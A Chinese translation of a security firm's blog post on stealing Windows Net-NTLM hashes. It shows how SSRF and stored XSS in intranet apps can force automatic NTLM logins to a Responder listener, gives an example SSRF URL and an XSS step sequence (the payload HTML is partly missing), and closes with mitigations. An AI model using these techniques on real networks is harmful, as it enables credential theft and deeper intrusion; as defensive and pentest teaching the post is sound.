介紹

NTLM身份驗證是執行Windows的企業網路中的一個標準事實。有很多很好理解的本地攻擊方法，利用Windows執行自動NTLM身份驗證的方式，濫用此功能無疑是每個滲透測試人員和紅隊的都會操作的事情。

在Blaze的資訊保安部門，我們最近花了一些時間研究如何使用遠端向量來濫用此功能，特別是從Web應用程式漏洞的角度來看。

我們的目標是討論如何將伺服器端請求偽造（SSRF）和跨站點指令碼（CSRF）等問題武裝到竊取Net-NTLM雜湊上，這對於進一步訪問網路可能是非常有用的。

這篇文章假定讀者熟悉這裡闡述的一些概念，並且我會跳過關於NTLM身份驗證的內部工作原理的幾個技術細節，如何配置和使用捕獲Net-NTLM雜湊所需的工具，以及如何利用XSS和SSRF。

所有實驗均由Blaze 資訊保安團隊在我們的實驗室中完成，該實驗室使用Windows 10裸機，Windows 7虛擬機器和Ubuntu Linux作為認證伺服器。

整合的Windows身份驗證

在網際網路企業環境中使用Windows的任何人都可能已經注意到，訪問網路中的公司資源是毫無爭議的，並且在許多情況下，除了初始的Windows域登入之外，不需要明確的身份驗證來提示憑據。對於網路對映驅動器，內部網站等多項服務來說，情況也是如此。

Windows的 WinHTTP為開發人員提供了處理HTTP/1。1協議的高階API。除其他功能外，WinHTTP還可以透過協商NTLM，Kerberos和其他功能自動處理身份驗證以訪問受保護的資源。

基於Microsoft的瀏覽器Internet Explorer和Edge具有可信區域的概念：網路，本地網路，可信站點和受限站點。每個區域都有不同的安全級別和相關的限制。例如，對於網路區域網站，Internet Explorer將禁用XSS篩選器，執行ActiveX外掛，執行自動登入，並且總體上具有比網路站點更少的安全控制。

預設情況下，當Web伺服器具有受NTLM身份驗證保護的資源時，如果網站位於公司網路內或在受信任的站點中列入白名單，Internet Explorer和Edge將自動執行身份驗證，並遵守受信任區域的概念。

其他瀏覽器，如Mozilla Firefox和Google Chrome也支援自動NTLM登入。Chrome依靠與Internet Explorer相同的設定； 在Firefox的情況下，這個配置預設是不啟用的，必須透過手動更改about：config。

Responder

由Laurent Gaffie撰寫的Responder ［1］是迄今為止，在每個滲透測試人員用於竊取不同形式的證書（包括Net-NTLM雜湊）的最受歡迎的工具。

它透過設定幾個模擬的惡意守護程序（如SQL伺服器，FTP，HTTP和SMB伺服器等）來直接提示憑據或模擬質詢 – 響應驗證過程並捕獲客戶端傳送的必要雜湊。

Responder也有能力攻擊LLMNR，NBT-NS和mDNS等協議，但這些將不在本文中討論。

透過Web應用程式漏洞進行濫用

最近，我們花了一些時間研究如何進一步武器化Web應用程式漏洞，以利用Windows在某些情況下可能響應NTLM雜湊時遇到的問題，並進一步訪問網路。

我們想描述Web應用程式中發現的兩個常見漏洞，以及我們如何利用這些漏洞來竊取雜湊，拿到帳戶，並立足於企業網路。

場景＃1：從SSRF到竊取雜湊

SSRF漏洞通常用於將HTTP請求傳送到其他伺服器並掃描內部網路。事實證明，它也可以用來強制一個易受攻擊的Web應用程式，使底層Windows伺服器洩漏其NTLM雜湊。

我們把一個易受SSRF攻擊的Flask應用程式放在一起，以便更好地說明問題。這個概念非常簡單：它有一個引數URL，當任何站點傳遞給它時，無論是http：//www。blazeinfosec。com還是http：//intranet。corporate，它都會發送一個HTTP請求，資源並使用請求獲取的內容將其回覆給客戶端。

這個易受攻擊的Web應用程式依賴於Python的win32com模組。透過這個模組，可以呼叫一個使用原生WinHTTP。WinHTTPRequest。5。1發出HTTP請求的COM物件，並且由於SetAutoLoginPolicy設定為0，它將自動傳送憑證。

有一點很重要，那就是某些框架的URL資源獲取功能與Windows沒有緊密整合，不會像本例那樣執行自動登入。但是，Java的URLConnection（），也可能是其他的情況。

要利用此漏洞並獲取使用者的Net-NTLM雜湊，只需瀏覽以下URL：

http：//127。0。0。1：8000/？url=http：//server_listening_responder

在後臺沒有任何互動，但發生了以下情況：

· Windows API將傳送一個HTTP請求

· 伺服器（在這種情況下，是Responder）將傳送標題WWW-Authenticate：NTLM，提示它使用NTLM進行身份驗證

· 客戶端（在這種情況下，執行在伺服器上的易受攻擊的應用程式）將對挑戰作出反應，攻擊者將抓取伺服器的Net-NTLM雜湊

最終的結果是對手成功捕獲了Net-NTLM證書：

即使Net-NTLM雜湊不能用於Pass-the-Hash攻擊，與純粹的NTLM雜湊不同，它們可以透過使用諸如hashcat之類的現成工具進行中繼或破解：

場景＃2：XSS：alert(1)很無聊，讓我們來利用XSS獲取一些Net-NTLM雜湊值

如前面所述的，當Web伺服器提示Internet Explorer和Edge for NTLM憑據時，在預設配置下，它將執行質詢 – 響應身份驗證過程，並將登入使用者的雜湊傳送到請求伺服器，前提是該站點的域名位於企業內部網或存在於可信站點列表中。

以下是Internet Explorer在Intranet站點中自動登入時的預設配置：

很多時候，企業將企業域名列為網路的可信站點，如下例所示：

這意味著，如果你正在執行對在網路中執行的Web應用程式的滲透測試，並且發現跨站點指令碼，那麼你很有可能利用這個無用的漏洞進行雜湊竊取。

透過誘使公司環境中的任何人瀏覽包含以下HTML程式碼的頁面：

如果執行響應程式的HTTP伺服器位於網路中，並且其主機名或其子域通常標記為受信任，Internet Explorer和Edge將自動傳送雜湊值。

以下步驟描述了利用XSS竊取NTLM雜湊的攻擊模式：

· 步驟1：在本地網路中設定以HTTP模式執行的Responder – 通常情況下，你將在公司網路下為你的IP提供反向DNS，這意味著你將擁有一個主機名。

· 第2步：在XSS有效載荷中輸入一些東西

http：//

hostname_to_internal_responder

”>

· 步驟3：等待不知情的受害者瀏覽受XSS影響的頁面 – 如果是儲存型XSS，則效果更好

· 第4步：捕獲雜湊

通常，企業組織還將其子域名所服務的所有內容標記為可信。例如，如果將* 。

http：//

blazeinfosec。com

列入白名單，只需要對* 。

http：//

blazeinfosec。com

中的一臺伺服器進行入侵攻擊，即可執行Responder，稍後可透過此向量來竊取公司網路中的使用者的雜湊值。

如果客戶端嘗試使用NTLM身份驗證連線到HTTP伺服器，但主機名不在Internet Explorer或Edge的任何可信列表中，則會提示客戶端輸入憑證，如下面的截圖所示：

緩解風險

這篇文章中所描述的問題在一段時間內都是眾所周知的，實際上是Windows的設計所決定的。NTLM認證自從早期就以這種方式運作，其中一些漏洞已經在20年前被討論過了，只是大家沒有意識到它的風險。

但是，有不同的方法可以減少Windows不安全行為帶來的影響。

在登錄檔項

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl\SetControl\Lsa\MSV1_0

中將RestrictSendingNTLMTraffic的值設定為2，可以減少這種風險的暴露，因為當伺服器提出質詢時，Windows將不再發送NTLMv1或NTLMv2雜湊，無論是合法的請求還是攻擊請求。

但是，重要的是要考慮這可能會破壞正常功能，特別是在大量使用NTLM進行自動登入的公司網路中。

在與SSRF相關的場景中，建議使用不執行自動NTLM身份驗證的HTTP庫。減少這種風險的另一個想法是在企業代理中制定規則，防止與網路邊界之外的伺服器進行NTLM身份驗證協商。

結論

NTLM身份驗證可以為依賴Windows和其他Microsoft產品的企業組織帶來多種好處。單一登入功能在訪問不同的公司系統時提供了無縫連線的使用者體驗，提高了使用者的工作效率並減少了不斷進行身份驗證的負擔。

雖然如此，儘管NTLM認證已經有二十多年了，但仍然存在著與NTLM認證有關的安全風險。

對於滲透測試人員來說，每當你找到一個SSRF時，可能值得你把它指向一個執行Responder監聽器的伺服器。總是有機會獲得NTLMv1或NTLMv2雜湊值，並深入到目標網路中。

開發人員和安全防禦人員不應低估XSS在內部應用程式中的影響。在內部應用程式中重新使用包含XSS的WONT_FIX票據的bug跟蹤器可能是一個不錯的主意，並且重新考慮讓它無法解決，因為其影響可能比簡單的彈出框或會話cookie被盜更大。

將跨站指令碼等無聊的漏洞利用到企業網路的實際立足點總是不錯的想法。

參考

［1］

https：//

github。com/lgandx/Respo

nder

［2］

https：//

msdn。microsoft。com/en-u

s/library/ms775123%28v=vs。85%29。aspx

［3］

https：//

github。com/blazeinfosec

/ssrf-ntlm

如若轉載，請註明原文地址：

http：//www。

4hou。com/system/9383。ht

ml

更多內容請關注“嘶吼專業版”——Pro4hou